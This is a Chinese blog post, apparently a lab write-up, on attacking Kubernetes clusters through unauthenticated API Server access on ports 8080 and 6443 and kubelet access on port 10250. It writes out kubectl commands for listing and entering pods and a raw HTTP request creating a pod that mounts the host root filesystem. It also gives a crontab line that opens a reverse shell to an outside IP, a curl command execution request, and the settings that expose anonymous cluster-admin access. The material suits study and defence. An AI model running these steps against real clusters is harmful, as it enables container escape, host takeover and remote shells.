• 云上攻防-云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行


    K8S集群架构解释

    Kubernetes是一个开源的,用于编排云平台中多个主机上的容器化的应用,目标是让部署容器化的应用能简单并且高效的使用, 提供了应用部署,规划,更新,维护的一种机制。其核心的特点就是能够自主的管理容器来保证云平台中的容器按照用户的期望状态运行着,管理员可以加载一个微型服务,让规划器来找到合适的位置,同时,Kubernetes在系统提升工具以及人性化方面,让用户能够方便的部署自己的应用。
    1、Master节点
    2、Node节点
    3、Pod
    在这里插入图片描述在这里插入图片描述
    具体参考:
    https://blog.csdn.net/qq_34101364/article/details/122506768

    K8S集群攻击点-重点

    随着越来越多企业开始上云的步伐,在攻防演练中常常碰到云相关的场景,例:公有云、私有云、混合云、虚拟化集群等。以往渗透路径「外网突破->提权->权限维持->信息收集->横向移动->循环收集信息」,直到获得重要目标系统。但随着业务上云以及虚拟化技术的引入改变了这种格局,也打开了新的入侵路径,例如:
    1、通过虚拟机攻击云管理平台,利用管理平台控制所有机器
    2、通过容器进行逃逸,从而控制宿主机以及横向渗透到K8s Master节点控制所有容器
    3、利用KVM-QEMU/执行逃逸获取宿主机,进入物理网络横向移动控制云平台
    目前互联网上针对云原生场景下的攻击手法零零散散的较多,仅有一些厂商发布过相关矩阵技术,但没有过多的细节展示,本文基于微软发布的Kubernetes威胁矩阵进行扩展,介绍相关的具体攻击方法。
    在这里插入图片描述
    详细攻击点参考:
    https://mp.weixin.qq.com/s/yQoqozJgP8F-ad24xgzIPw
    https://mp.weixin.qq.com/s/QEuQa0KVwykrMzOPdgEHMQ

    API Server未授权访问&kubelet未授权访问复现

    在这里插入图片描述

    k8s集群环境搭建

    搭建环境使用3台Centos 7,参考:
    https://www.jianshu.com/p/25c01cae990c
    https://blog.csdn.net/fly910905/article/details/120887686
    一个集群包含三个节点,其中包括一个控制节点和两个工作节点

    master:10.10.10.167
    node1:10.10.10.170
    node2:10.10.10.171

    最后的效果
    在这里插入图片描述

    1、攻击8080端口:API Server未授权访问

    旧版本的k8s的API Server默认会开启两个端口:8080和6443
    6443是安全端口,安全端口使用TLS加密;但是8080端口无需认证,
    仅用于测试。6443端口需要认证,且有 TLS 保护。(k8s<1.16.0)
    新版本k8s默认已经不开启8080。需要更改相应的配置

    cd /etc/kubernetes/manifests/
    
    • 1

    需要手动添加这两条配置(新版本k8s)

    • –insecure-port=8080
    • –insecure-bind-address=0.0.0.0

    重启k8s服务

    systemctl restart kubelet.service
    
    • 1

    在这里插入图片描述漏洞利用:

    kubectl.exe -s 192.168.139.130:8080 get nodes
    
    • 1

    在这里插入图片描述

    kubectl.exe -s 10.10.10.167:8080 get pods
    
    • 1

    在这里插入图片描述

    kubectl -s 10.10.10.167:8080 create -f test.yaml
    
    • 1

    在这里插入图片描述

    kubectl -s 10.10.10.167:8080 --namespace=default exec -it test bash
    
    • 1

    在这里插入图片描述

    echo -e "* * * * * root bash -i >& /dev/tcp/192.168.139.128/7788 0>&1\n" >> /mnt/etc/crontab
    
    • 1

    在这里插入图片描述简单分析下,可以看到计划任务写入了node1主机中
    在这里插入图片描述在这里插入图片描述

    2、攻击6443端口:API Server未授权访问

    正常情况下:
    在这里插入图片描述一些集群由于鉴权配置不当,将"system:anonymous"用户绑定到"cluster-admin"用户组,从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。

    kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous

    存在漏洞:
    在这里插入图片描述
    -创建恶意pods

    POST /api/v1/namespaces/default/pods HTTP/2
    Host: 10.10.10.167:6443
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:99.0) Gecko/20100101 Firefox/99.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: none
    Sec-Fetch-User: ?1
    Te: trailers
    Content-Length: 1176
    
    {
        "apiVersion": "v1",
        "kind": "Pod",
        "metadata": {
            "annotations": {
                "kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test-4444\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test-4444\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"
            },
            "name": "test-4444",
            "namespace": "default"
        },
        "spec": {
            "containers": [
                {
                    "image": "nginx:1.14.2",
                    "name": "test-4444",
                    "volumeMounts": [
                        {
                            "mountPath": "/host",
                            "name": "host"
                        }
                    ]
                }
            ],
            "volumes": [
                {
                    "hostPath": {
                        "path": "/",
                        "type": "Directory"
                    },
                    "name": "host"
                }
            ]
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48

    在这里插入图片描述在这里插入图片描述
    -连接判断pods

    kubectl --insecure-skip-tls-verify -s https://10.10.10.167:6443 get pods
    
    • 1

    用户名密码随便输
    在这里插入图片描述
    -连接执行pods

    kubectl --insecure-skip-tls-verify -s https://10.10.10.167:6443 --namespace=default exec -it test-4444 bash
    
    • 1

    在这里插入图片描述
    -上述一样

    3、攻击10250端口:kubelet未授权访问

    环境搭建
    注意是在pod节点中配置

    https://10.10.10.170:10250/pods
    /var/lib/kubelet/config.yaml
    修改authentication的anonymous为true,
    将authorization mode修改为AlwaysAllow,
    重启kubelet进程-systemctl restart kubelet

    在这里插入图片描述-访问获取:

    https://10.10.10.170:10250/runningpods/
    
    • 1

    在这里插入图片描述

    -利用执行命令这里需要获取三个参数
    namespace default
    pod whgojp
    container test-container
    -执行模版:

    curl -XPOST -k "https://10.10.10.170:10250/run///" -d "cmd=id"
    
    • 1

    在这里插入图片描述还是在容器中,后续操作同上(写计划任务)

  • 相关阅读:
    VMware 安装CentOS7
    【故障诊断分析】FFT轴承故障诊断(包络谱)【含Matlab源码 2002期】
    LeetCode·每日一题·1235.规划兼职工作·动态规划
    Java学习笔记整理总结:Spring+tomcat+Kafka+多线程面试笔记
    数据结构-顺序表
    JAVA中一段有趣的代码-关于类、多态、变量的执行分析
    Servlet入门接口、类和配置学习
    如何识别假爬虫?
    Docker介绍
    BDD - SpecFlow Driver Pattern 驱动模式
  • 原文地址:https://blog.csdn.net/weixin_53009585/article/details/133834038